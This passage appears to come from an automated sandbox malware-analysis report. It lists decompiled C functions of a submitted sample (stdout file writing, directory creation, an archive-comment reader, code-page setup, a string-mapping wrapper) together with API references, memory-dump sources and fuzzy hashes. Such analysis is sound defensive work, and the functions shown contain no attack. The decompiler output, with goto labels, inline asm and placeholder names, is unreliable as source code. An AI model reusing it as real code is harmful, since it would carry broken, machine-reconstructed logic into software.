					if( *((intOrPtr*)(__ecx + 0xc)) == 1) {
						 *(_t53 + 4) = GetStdHandle(0xfffffff5);
					}
					while(1) {
						_a8 = _a8 & 0x00000000;
						_t42 = 0;
						if( *((intOrPtr*)(_t53 + 0xc)) == 0) {
							goto L12;
						}
						_t57 = 0;
						if(_t59 == 0) {
							L14:
							if( *((char*)(_t53 + 0x14)) == 0 ||  *((intOrPtr*)(_t53 + 0xc)) != 0) {
								L21:
								 *((char*)(_t53 + 8)) = 1;
								return _t42;
							} else {
								_t56 = _t53 + 0x1e;
								if(E01356C55(0x13900e0, _t53 + 0x1e, 0) == 0) {
									E01356E9B(0x13900e0, _t59, 0, _t56);
									goto L21;
								}
								if(_a8 < _t59 && _a8 > 0) {
									_t58 =  *_t53;
									_t36 =  *((intOrPtr*)(_t58 + 0x14))(0);
									asm("sbb edx, 0x0");
									 *((intOrPtr*)(_t58 + 0x10))(_t36 - _a8, _t52);
								}
								continue;
							}
						} else {
							goto L7;
						}
						while(1) {
							L7:
							_t32 = _t59 - _t57;
							if(_t32 >= 0x4000) {
								_t32 = 0x4000;
							}
							_t10 = WriteFile( *(_t53 + 4), _a4 + _t57, _t32,  &_a8, 0) - 1; // -1
							asm("sbb bl, bl");
							_t42 =  ~_t10 + 1;
							if(_t42 == 0) {
								goto L14;
							}
							_t57 = _t57 + 0x4000;
							if(_t57 < _t59) {
								continue;
							}
							L13:
							if(_t42 != 0) {
								goto L21;
							}
							goto L14;
						}
						goto L14;
						L12:
						_t24 = WriteFile( *(_t53 + 4), _a4, _t59,  &_a8, 0); // executed
						asm("sbb al, al");
						_t42 =  ~(_t24 - 1) + 1;
						goto L13;
					}
				}
				return 1;
			}

0x01359c34
0x01359c35
0x01359c3a
0x01359c3e
0x01359c4b
0x01359c55
0x01359c55
0x01359c5a
0x01359c5a
0x01359c5f
0x01359c65
0x00000000
0x00000000
0x01359c67
0x01359c6b
0x01359ccf
0x01359cd3
0x01359d2d
0x01359d30
0x00000000
0x01359cdb
0x01359cdd
0x01359ced
0x01359d28
0x00000000
0x01359d28
0x01359cf3
0x01359d04
0x01359d0a
0x01359d13
0x01359d18
0x01359d18
0x00000000
0x01359cf3
0x00000000
0x00000000
0x00000000
0x01359c6d
0x01359c6d
0x01359c6f
0x01359c76
0x01359c78
0x01359c78
0x01359c95
0x01359c9a
0x01359c9c
0x01359c9f
0x00000000
0x00000000
0x01359ca1
0x01359ca9
0x00000000
0x00000000
0x01359ccb
0x01359ccd
0x00000000
0x00000000
0x00000000
0x01359ccd
0x00000000
0x01359cad
0x01359cbc
0x01359cc5
0x01359cc9
0x00000000
0x01359cc9
0x01359c5a
0x00000000

APIs

GetStdHandle.KERNEL32(000000F5,?,?,0135C90A,00000001,?,?,?,00000000,01364AF4,?,?,?,?,?,01364599), ref: 01359C4F
WriteFile.KERNEL32(?,00000000,?,013647A1,00000000,?,?,00000000,01364AF4,?,?,?,?,?,01364599,?), ref: 01359C8F
WriteFile.KERNELBASE(?,00000000,?,013647A1,00000000,?,00000001,?,?,0135C90A,00000001,?,?,?,00000000,01364AF4), ref: 01359CBC

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: f3e094892bb98ae26427658de2e641f3fa86501ce618895d55b7d45ced02f166
Instruction ID: 8c5c9fbaa7376e4376848e26618d626f871d833844c85c0f4f1b66caa3898ffe
Opcode Fuzzy Hash: f3e094892bb98ae26427658de2e641f3fa86501ce618895d55b7d45ced02f166
Instruction Fuzzy Hash: C63108B1144309EFDF648E18C808FAABBECFB51B1DF048119FA5557680C774A449CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 01359EF2, Relevance: 4.6, APIs: 3, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01359EF2(void* __ecx, void* __eflags, WCHAR* _a4, char _a8, intOrPtr _a12) {
				short _v4100;
				signed int _t8;
				long _t10;
				void* _t11;
				int _t18;
				WCHAR* _t21;

				E0136D940();
				_t21 = _a4;
				_t8 =  *(E0135B927(__eflags, _t21)) & 0x0000ffff;
				if(_t8 == 0x2e || _t8 == 0x20) {
					L3:
					if(E01359E6B(_t21) != 0 || E0135B32C(_t21,  &_v4100, 0x800) == 0 || CreateDirectoryW( &_v4100, 0) == 0) {
						_t10 = GetLastError();
						__eflags = _t10 - 2;
						if(_t10 == 2) {
							L12:
							_t11 = 2;
						} else {
							__eflags = _t10 - 3;
							if(_t10 == 3) {
								goto L12;
							} else {
								_t11 = 1;
							}
						}
					} else {
						goto L6;
					}
				} else {
					_t18 = CreateDirectoryW(_t21, 0); // executed
					if(_t18 != 0) {
						L6:
						if(_a8 != 0) {
							E0135A12F(_t21, _a12); // executed
						}
						_t11 = 0;
					} else {
						goto L3;
					}
				}
				return _t11;
			}

0x01359efa
0x01359f00
0x01359f09
0x01359f0f
0x01359f23
0x01359f2b
0x01359f69
0x01359f6f
0x01359f72
0x01359f7e
0x01359f80
0x01359f74
0x01359f74
0x01359f77
0x00000000
0x01359f79
0x01359f7b
0x01359f7b
0x01359f77
0x00000000
0x00000000
0x00000000
0x01359f16
0x01359f19
0x01359f21
0x01359f56
0x01359f5a
0x01359f60
0x01359f60
0x01359f65
0x00000000
0x00000000
0x00000000
0x01359f21
0x01359f85

APIs

CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,01359DFE,?,00000001,00000000,?,?), ref: 01359F19
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,01359DFE,?,00000001,00000000,?,?), ref: 01359F4C
GetLastError.KERNEL32(?,?,?,?,01359DFE,?,00000001,00000000,?,?), ref: 01359F69

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateDirectory$ErrorLast
String ID:
API String ID: 2485089472-0
Opcode ID: 93c598b2a3d55b587be2dbecd5dba77cf46e9a3f8a328f8ffdbd46ab204ac272
Instruction ID: 591bdb0f4643c2afeb9d09a23ba0d84f2b13af21d650bb0a0352009f86980e35
Opcode Fuzzy Hash: 93c598b2a3d55b587be2dbecd5dba77cf46e9a3f8a328f8ffdbd46ab204ac272
Instruction Fuzzy Hash: 4A01DE31608214E6EBB1AB6D8C04FFE774D9F06E8EF040441FE41EA094D660C58AC7A6

Uniqueness

Uniqueness Score: -1.00%

Function 0135399D, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 176
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0135399D(void* __ecx, signed int __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				char _t76;
				signed int _t83;
				intOrPtr _t94;
				void* _t120;
				char _t121;
				void* _t123;
				void* _t130;
				signed int _t144;
				signed int _t148;
				void* _t151;
				void* _t153;

				_t143 = __edx;
				_t123 = __ecx;
				E0136D870(E013811BE, _t153);
				E0136D940();
				_t151 = _t123;
				_t156 =  *((char*)(_t151 + 0x6cc4));
				if( *((char*)(_t151 + 0x6cc4)) == 0) {
					__eflags =  *((char*)(_t151 + 0x45f0)) - 5;
					if(__eflags > 0) {
						L26:
						E0135134C(__eflags, 0x1e, _t151 + 0x1e);
						goto L27;
					}
					__eflags =  *((intOrPtr*)(_t151 + 0x6cb0)) - 3;
					__eflags =  *((intOrPtr*)(_t151 + 0x45ec)) - ((0 |  *((intOrPtr*)(_t151 + 0x6cb0)) != 0x00000003) - 0x00000001 & 0x00000015) + 0x1d;
					if(__eflags > 0) {
						goto L26;
					}
					_t83 =  *(_t151 + 0x5628) |  *(_t151 + 0x562c);
					__eflags = _t83;
					if(_t83 != 0) {
						L7:
						_t120 = _t151 + 0x20e8;
						E0135C5C9(_t83, _t120);
						_push(_t120);
						E013614DE(_t153 - 0xe6ec, __eflags);
						_t121 = 0;
						 *((intOrPtr*)(_t153 - 4)) = 0;
						E01362842(0, _t153 - 0xe6ec, _t153,  *((intOrPtr*)(_t151 + 0x56c4)), 0);
						_t148 =  *(_t153 + 8);
						__eflags =  *(_t153 + 0xc);
						if( *(_t153 + 0xc) != 0) {
							L15:
							__eflags =  *((intOrPtr*)(_t151 + 0x566b)) - _t121;
							if( *((intOrPtr*)(_t151 + 0x566b)) == _t121) {
								L18:
								E0135A728(_t151 + 0x21a0, _t143,  *((intOrPtr*)(_t151 + 0x5640)), 1);
								 *(_t151 + 0x2108) =  *(_t151 + 0x5628);
								 *(_t151 + 0x210c) =  *(_t151 + 0x562c);
								 *((char*)(_t151 + 0x2110)) = _t121;
								E0135C67C(_t151 + 0x20e8, _t151,  *(_t153 + 0xc));
								_t130 = _t151 + 0x20e8;
								 *((char*)(_t151 + 0x2111)) =  *((intOrPtr*)(_t153 + 0x10));
								 *((char*)(_t151 + 0x2137)) =  *((intOrPtr*)(_t151 + 0x5669));
								 *((intOrPtr*)(_t130 + 0x38)) = _t151 + 0x45d0;
								 *((intOrPtr*)(_t130 + 0x3c)) = _t121;
								_t94 =  *((intOrPtr*)(_t151 + 0x5630));
								_t144 =  *(_t151 + 0x5634);
								 *((intOrPtr*)(_t153 - 0x9aa4)) = _t94;
								 *(_t153 - 0x9aa0) = _t144;
								 *((char*)(_t153 - 0x9a8c)) = _t121;
								__eflags =  *((intOrPtr*)(_t151 + 0x45f0)) - _t121;
								if(__eflags != 0) {
									E013624D9(_t153 - 0xe6ec,  *((intOrPtr*)(_t151 + 0x45ec)), _t121);
								} else {
									_push(_t144);
									_push(_t94);
									_push(_t130); // executed
									E0135910B(_t121, _t144, _t148, __eflags); // executed
								}
								asm("sbb edx, edx");
								_t143 =  ~( *(_t151 + 0x569a) & 0x000000ff) & _t151 + 0x0000569b;
								__eflags = E0135A6F6(_t151 + 0x21a0, _t148, _t151 + 0x5640,  ~( *(_t151 + 0x569a) & 0x000000ff) & _t151 + 0x0000569b);
								if(__eflags != 0) {
									_t121 = 1;
								} else {
									E01356BF5(__eflags, 0x1f, _t151 + 0x1e, _t151 + 0x45f8);
									E01356E03(0x13900e0, 3);
									__eflags = _t148;
									if(_t148 != 0) {
										E0135FBBB(_t148);
									}
								}
								L25:
								E013616CB(_t153 - 0xe6ec, _t143, _t148, _t151);
								_t76 = _t121;
								goto L28;
							}
							_t143 =  *(_t151 + 0x21bc);
							__eflags =  *((intOrPtr*)(_t143 + 0x5124)) - _t121;
							if( *((intOrPtr*)(_t143 + 0x5124)) == _t121) {
								goto L25;
							}
							asm("sbb ecx, ecx");
							_t138 =  ~( *(_t151 + 0x5670) & 0x000000ff) & _t151 + 0x00005671;
							__eflags =  ~( *(_t151 + 0x5670) & 0x000000ff) & _t151 + 0x00005671;
							E0135C634(_t151 + 0x20e8, _t121,  *((intOrPtr*)(_t151 + 0x566c)), _t143 + 0x5024, _t138, _t151 + 0x5681,  *((intOrPtr*)(_t151 + 0x56bc)), _t151 + 0x569b, _t151 + 0x5692);
							goto L18;
						}
						__eflags =  *(_t151 + 0x5634);
						if(__eflags < 0) {
							L12:
							__eflags = _t148;
							if(_t148 != 0) {
								E01351EDE(_t148,  *((intOrPtr*)(_t151 + 0x5630)));
								E0135C699(_t151 + 0x20e8,  *_t148,  *((intOrPtr*)(_t151 + 0x5630)));
							} else {
								 *((char*)(_t151 + 0x2111)) = 1;
							}
							goto L15;
						}
						if(__eflags > 0) {
							L11:
							E0135134C(__eflags, 0x1e, _t151 + 0x1e);
							goto L25;
						}
						__eflags =  *((intOrPtr*)(_t151 + 0x5630)) - 0x1000000;
						if(__eflags <= 0) {
							goto L12;
						}
						goto L11;
					}
					__eflags =  *((intOrPtr*)(_t151 + 0x5669)) - _t83;
					if( *((intOrPtr*)(_t151 + 0x5669)) != _t83) {
						goto L7;
					} else {
						_t76 = 1;
						goto L28;
					}
				} else {
					E0135134C(_t156, 0x1d, _t151 + 0x1e);
					E01356E03(0x13900e0, 3);
					L27:
					_t76 = 0;
					L28:
					 *[fs:0x0] =  *((intOrPtr*)(_t153 - 0xc));
					return _t76;
				}
			}

0x0135399d
0x0135399d
0x013539a2
0x013539ac
0x013539b2
0x013539b4
0x013539bb
0x013539d9
0x013539e0
0x01353c22
0x01353c28
0x00000000
0x01353c28
0x013539e8
0x013539f9
0x013539ff
0x00000000
0x00000000
0x01353a0b
0x01353a0b
0x01353a11
0x01353a22
0x01353a23
0x01353a2c
0x01353a31
0x01353a38
0x01353a3d
0x01353a4c
0x01353a4f
0x01353a54
0x01353a57
0x01353a5a
0x01353aaf
0x01353aaf
0x01353ab5
0x01353b11
0x01353b1f
0x01353b33
0x01353b40
0x01353b46
0x01353b4c
0x01353b54
0x01353b5a
0x01353b66
0x01353b72
0x01353b75
0x01353b78
0x01353b7e
0x01353b84
0x01353b8a
0x01353b90
0x01353b96
0x01353b9c
0x01353bb5
0x01353b9e
0x01353b9e
0x01353b9f
0x01353ba0
0x01353ba1
0x01353ba1
0x01353bcf
0x01353bd1
0x01353be0
0x01353be2
0x01353c0f
0x01353be4
0x01353bf1
0x01353bfd
0x01353c02
0x01353c04
0x01353c08
0x01353c08
0x01353c04
0x01353c11
0x01353c17
0x01353c1d
0x00000000
0x01353c1f
0x01353ab7
0x01353abd
0x01353ac3
0x00000000
0x00000000
0x01353aec
0x01353af5
0x01353af5
0x01353b0c
0x00000000
0x01353b0c
0x01353a5c
0x01353a62
0x01353a82
0x01353a82
0x01353a84
0x01353a97
0x01353aaa
0x01353a86
0x01353a86
0x01353a86
0x00000000
0x01353a84
0x01353a64
0x01353a72
0x01353a78
0x00000000
0x01353a78
0x01353a66
0x01353a70
0x00000000
0x00000000
0x00000000
0x01353a70
0x01353a13
0x01353a19
0x00000000
0x01353a1b
0x01353a1b
0x00000000
0x01353a1b
0x013539bd
0x013539c3
0x013539cf
0x01353c2d
0x01353c2d
0x01353c2f
0x01353c33
0x01353c3d
0x01353c3d

APIs

__EH_prolog.LIBCMT ref: 013539A2

Strings

CMT, xrefs: 013539B1

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog
String ID: CMT
API String ID: 3519838083-2756464174
Opcode ID: adc051c1b6a38bf566a11981fe31b494bdb0ea72a1009f02ecffcb44de23b7c7
Instruction ID: c2a4294aef771e0b41a5954ecd41198fca2fbf7c30c60c6ba55b551ec26cb2ca
Opcode Fuzzy Hash: adc051c1b6a38bf566a11981fe31b494bdb0ea72a1009f02ecffcb44de23b7c7
Instruction Fuzzy Hash: F471E071504F45AEDB61DB38CC50EEBBBE8BF24749F44891EE9AB87141E6326648CF10

Uniqueness

Uniqueness Score: -1.00%

Function 0137A51E, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0137A51E(void* __ebx, signed int __edx, void* __edi, void* __esi, intOrPtr _a4) {
				signed int _v8;
				char _v264;
				char _v520;
				char _v776;
				char _v1800;
				char _v1814;
				struct _cpinfo _v1820;
				intOrPtr _v1824;
				signed char _v1828;
				signed int _t63;
				void* _t67;
				signed char _t68;
				intOrPtr _t69;
				void* _t72;
				char _t73;
				char _t74;
				signed char _t75;
				signed int _t76;
				signed char _t88;
				signed int _t91;
				signed int _t92;
				signed int _t93;
				void* _t94;
				char* _t95;
				intOrPtr _t99;
				signed int _t100;

				_t93 = __edx;
				_t63 =  *0x138d668; // 0xea6a5ad2
				_v8 = _t63 ^ _t100;
				_t99 = _a4;
				_t4 = _t99 + 4; // 0x5efc4d8b
				if(GetCPInfo( *_t4,  &_v1820) == 0) {
					_t47 = _t99 + 0x119; // 0x137ab69
					_t94 = _t47;
					_t88 = 0;
					_t67 = 0xffffff9f;
					_t68 = _t67 - _t94;
					__eflags = _t68;
					_v1828 = _t68;
					do {
						_t95 = _t94 + _t88;
						_t69 = _t68 + _t95;
						_v1824 = _t69;
						__eflags = _t69 + 0x20 - 0x19;
						if(_t69 + 0x20 > 0x19) {
							__eflags = _v1824 - 0x19;
							if(_v1824 > 0x19) {
								 *_t95 = 0;
							} else {
								_t72 = _t99 + _t88;
								_t57 = _t72 + 0x19;
								 *_t57 =  *(_t72 + 0x19) | 0x00000020;
								__eflags =  *_t57;
								_t59 = _t88 - 0x20; // -32
								_t73 = _t59;
								goto L24;
							}
						} else {
							 *(_t99 + _t88 + 0x19) =  *(_t99 + _t88 + 0x19) | 0x00000010;
							_t54 = _t88 + 0x20; // 0x20
							_t73 = _t54;
							L24:
							 *_t95 = _t73;
						}
						_t68 = _v1828;
						_t61 = _t99 + 0x119; // 0x137ab69
						_t94 = _t61;
						_t88 = _t88 + 1;
						__eflags = _t88 - 0x100;
					} while (_t88 < 0x100);
				} else {
					_t74 = 0;
					do {
						 *((char*)(_t100 + _t74 - 0x104)) = _t74;
						_t74 = _t74 + 1;
					} while (_t74 < 0x100);
					_t75 = _v1814;
					_t91 =  &_v1814;
					_v264 = 0x20;
					while(1) {
						_t106 = _t75;
						if(_t75 == 0) {
							break;
						}
						_t93 =  *(_t91 + 1) & 0x000000ff;
						_t76 = _t75 & 0x000000ff;
						while(1) {
							__eflags = _t76 - _t93;
							if(_t76 > _t93) {
								break;
							}
							__eflags = _t76 - 0x100;
							if(_t76 < 0x100) {
								 *((char*)(_t100 + _t76 - 0x104)) = 0x20;
								_t76 = _t76 + 1;
								__eflags = _t76;
								continue;
							}
							break;
						}
						_t91 = _t91 + 2;
						__eflags = _t91;
						_t75 =  *_t91;
					}
					_t13 = _t99 + 4; // 0x5efc4d8b
					E0137B5EA(0, _t93, 0x100, _t99, _t106, 0, 1,  &_v264, 0x100,  &_v1800,  *_t13, 0);
					_t16 = _t99 + 4; // 0x5efc4d8b
					_t19 = _t99 + 0x21c; // 0x2ebf88b
					E013797C2(0x100, _t99, _t106, 0,  *_t19, 0x100,  &_v264, 0x100,  &_v520, 0x100,  *_t16, 0); // executed
					_t21 = _t99 + 4; // 0x5efc4d8b
					_t23 = _t99 + 0x21c; // 0x2ebf88b
					E013797C2(0x100, _t99, _t106, 0,  *_t23, 0x200,  &_v264, 0x100,  &_v776, 0x100,  *_t21, 0);
					_t92 = 0;
					do {
						_t68 =  *(_t100 + _t92 * 2 - 0x704) & 0x0000ffff;
						if((_t68 & 0x00000001) == 0) {
							__eflags = _t68 & 0x00000002;
							if((_t68 & 0x00000002) == 0) {
								 *(_t99 + _t92 + 0x119) = 0;
							} else {
								_t37 = _t99 + _t92 + 0x19;
								 *_t37 =  *(_t99 + _t92 + 0x19) | 0x00000020;
								__eflags =  *_t37;
								_t68 =  *((intOrPtr*)(_t100 + _t92 - 0x304));
								goto L15;
							}
						} else {
							 *(_t99 + _t92 + 0x19) =  *(_t99 + _t92 + 0x19) | 0x00000010;
							_t68 =  *((intOrPtr*)(_t100 + _t92 - 0x204));
							L15:
							 *(_t99 + _t92 + 0x119) = _t68;
						}
						_t92 = _t92 + 1;
					} while (_t92 < 0x100);
				}
				return E0136E203(_t68, _v8 ^ _t100);
			}

0x0137a51e
0x0137a529
0x0137a530
0x0137a535
0x0137a540
0x0137a552
0x0137a64a
0x0137a64a
0x0137a650
0x0137a652
0x0137a653
0x0137a653
0x0137a655
0x0137a65b
0x0137a65b
0x0137a65d
0x0137a65f
0x0137a668
0x0137a66b
0x0137a677
0x0137a67e
0x0137a68e
0x0137a680
0x0137a680
0x0137a683
0x0137a683
0x0137a683
0x0137a687
0x0137a687
0x00000000
0x0137a687
0x0137a66d
0x0137a66d
0x0137a672
0x0137a672
0x0137a68a
0x0137a68a
0x0137a68a
0x0137a690
0x0137a696
0x0137a696
0x0137a69c
0x0137a69d
0x0137a69d
0x0137a558
0x0137a558
0x0137a55a
0x0137a55a
0x0137a561
0x0137a562
0x0137a566
0x0137a56c
0x0137a572
0x0137a59a
0x0137a59a
0x0137a59c
0x00000000
0x00000000
0x0137a57b
0x0137a57f
0x0137a591
0x0137a591
0x0137a593
0x00000000
0x00000000
0x0137a584
0x0137a586
0x0137a588
0x0137a590
0x0137a590
0x00000000
0x0137a590
0x00000000
0x0137a586
0x0137a595
0x0137a595
0x0137a598
0x0137a598
0x0137a59f
0x0137a5b4
0x0137a5ba
0x0137a5ce
0x0137a5d5
0x0137a5e4
0x0137a5f6
0x0137a5fd
0x0137a605
0x0137a607
0x0137a607
0x0137a611
0x0137a621
0x0137a623
0x0137a63a
0x0137a625
0x0137a625
0x0137a625
0x0137a625
0x0137a62a
0x00000000
0x0137a62a
0x0137a613
0x0137a613
0x0137a618
0x0137a631
0x0137a631
0x0137a631
0x0137a641
0x0137a642
0x0137a646
0x0137a6b1

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 0137A543

Strings

, xrefs: 0137A588

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: 6c9d462975a5613b93a85641274b21bd5342af2ec23e4eb9e62d8a8d8f381c0d
Instruction ID: 14f0e88e9d9bb9cd31f21243860b13cd410f920a787360d5eba24b650a8a9dea
Opcode Fuzzy Hash: 6c9d462975a5613b93a85641274b21bd5342af2ec23e4eb9e62d8a8d8f381c0d
Instruction Fuzzy Hash: 2241E7B050428C9EDB328E688C84BFEBBBDEB5571CF1804EDD59A87142D2399A55CF60

Uniqueness

Uniqueness Score: -1.00%

Function 01351D61, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E01351D61(intOrPtr __ecx, void* __edx, void* __edi, void* __esi) {
				void* _t34;
				intOrPtr _t41;
				intOrPtr _t51;
				void* _t62;
				unsigned int _t64;
				signed int _t66;
				intOrPtr* _t68;
				void* _t70;

				_t62 = __edx;
				_t51 = __ecx;
				E0136D870(E01381173, _t70);
				_t49 = 0;
				 *((intOrPtr*)(_t70 - 0x10)) = _t51;
				 *((intOrPtr*)(_t70 - 0x24)) = 0;
				 *(_t70 - 0x20) = 0;
				 *((intOrPtr*)(_t70 - 0x1c)) = 0;
				 *((intOrPtr*)(_t70 - 0x18)) = 0;
				 *((char*)(_t70 - 0x14)) = 0;
				 *((intOrPtr*)(_t70 - 4)) = 0;
				_t34 = E0135399D(_t51, _t62, _t70 - 0x24, 0, 0); // executed
				if(_t34 != 0) {
					_t64 =  *(_t70 - 0x20);
					E013516C0(_t70 - 0x24, _t62, 1);
					_t68 =  *((intOrPtr*)(_t70 + 8));
					 *((char*)( *(_t70 - 0x20) +  *((intOrPtr*)(_t70 - 0x24)) - 1)) = 0;
					_t16 = _t64 + 1; // 0x1
					E01351837(_t68, _t16);
					_t41 =  *((intOrPtr*)(_t70 - 0x10));
					if( *((intOrPtr*)(_t41 + 0x6cb0)) != 3) {
						if(( *(_t41 + 0x45f4) & 0x00000001) == 0) {
							E01360FDE( *((intOrPtr*)(_t70 - 0x24)),  *_t68,  *((intOrPtr*)(_t68 + 4)));
						} else {
							_t66 = _t64 >> 1;
							E01361059( *((intOrPtr*)(_t70 - 0x24)),  *_t68, _t66);
							 *((short*)( *_t68 + _t66 * 2)) = 0;
						}
					} else {
						_push( *((intOrPtr*)(_t68 + 4)));
						_push( *_t68);
						_push( *((intOrPtr*)(_t70 - 0x24)));
						E01361094();
					}
					E01351837(_t68, E01372B33( *_t68));
					_t49 = 1;
				}
				E0135159C(_t70 - 0x24);
				 *[fs:0x0] =  *((intOrPtr*)(_t70 - 0xc));
				return _t49;
			}

0x01351d61
0x01351d61
0x01351d66
0x01351d6f
0x01351d73
0x01351d76
0x01351d79
0x01351d7c
0x01351d7f
0x01351d82
0x01351d8a
0x01351d90
0x01351d97
0x01351d9f
0x01351da7
0x01351db2
0x01351db5
0x01351db9
0x01351dbf
0x01351dc4
0x01351dce
0x01351de6
0x01351e07
0x01351de8
0x01351de8
0x01351df0
0x01351df9
0x01351df9
0x01351dd0
0x01351dd0
0x01351dd3
0x01351dd5
0x01351dd8
0x01351dd8
0x01351e17
0x01351e1d
0x01351e1f
0x01351e23
0x01351e2e
0x01351e38

APIs

__EH_prolog.LIBCMT ref: 01351D66

Part of subcall function 0135399D: __EH_prolog.LIBCMT ref: 013539A2

Strings

CMT, xrefs: 01351D9D

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog
String ID: CMT
API String ID: 3519838083-2756464174
Opcode ID: 90a8fa86235391b62fd28180183b2fe044685af2d11595049b0cbb94a05d4f47
Instruction ID: 1945135269caa414fb0466ef108d08080361b6bcf9e46c607106af3c3339579d
Opcode Fuzzy Hash: 90a8fa86235391b62fd28180183b2fe044685af2d11595049b0cbb94a05d4f47
Instruction Fuzzy Hash: 99215A729042099FCB55EF98C940EEEFBFAFF58608F1044ADE859A7250C7325E15CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 01379C64, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E01379C64(void* __ecx, void* __esi, void* __eflags, intOrPtr _a4, int _a8, short* _a12, int _a16, short* _a20, int _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
				signed int _v8;
				signed int _t18;
				intOrPtr* _t20;
				int _t22;
				intOrPtr* _t30;
				signed int _t32;

				_t25 = __ecx;
				_push(__ecx);
				_t18 =  *0x138d668; // 0xea6a5ad2
				_v8 = _t18 ^ _t32;
				_push(__esi);
				_t20 = E01379990(0x16, "LCMapStringEx", 0x1386084, "LCMapStringEx"); // executed
				_t30 = _t20;
				if(_t30 == 0) {
					_t22 = LCMapStringW(E01379CEC(_t25, _t30, __eflags, _a4, 0), _a8, _a12, _a16, _a20, _a24);
				} else {
					 *0x1382260(_a4, _a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
					_t22 =  *_t30();
				}
				return E0136E203(_t22, _v8 ^ _t32);
			}

0x01379c64
0x01379c69
0x01379c6a
0x01379c71
0x01379c74
0x01379c86
0x01379c8b
0x01379c92
0x01379cd5
0x01379c94
0x01379cb1
0x01379cb7
0x01379cb7
0x01379ce9

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,31E85006,00000001,?,000000FF), ref: 01379CD5

Strings

LCMapStringEx, xrefs: 01379C75, 01379C7F

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: 1f1b4b97ed635b9ad1299bda928cc91c8dcdfbd6a4d55fbd8d93f04d6ffdb6b5
Instruction ID: 5dd1aae48df7117d9cd0cfec60147841e221d84dfdb3adcbb584ccf07f9da5bb
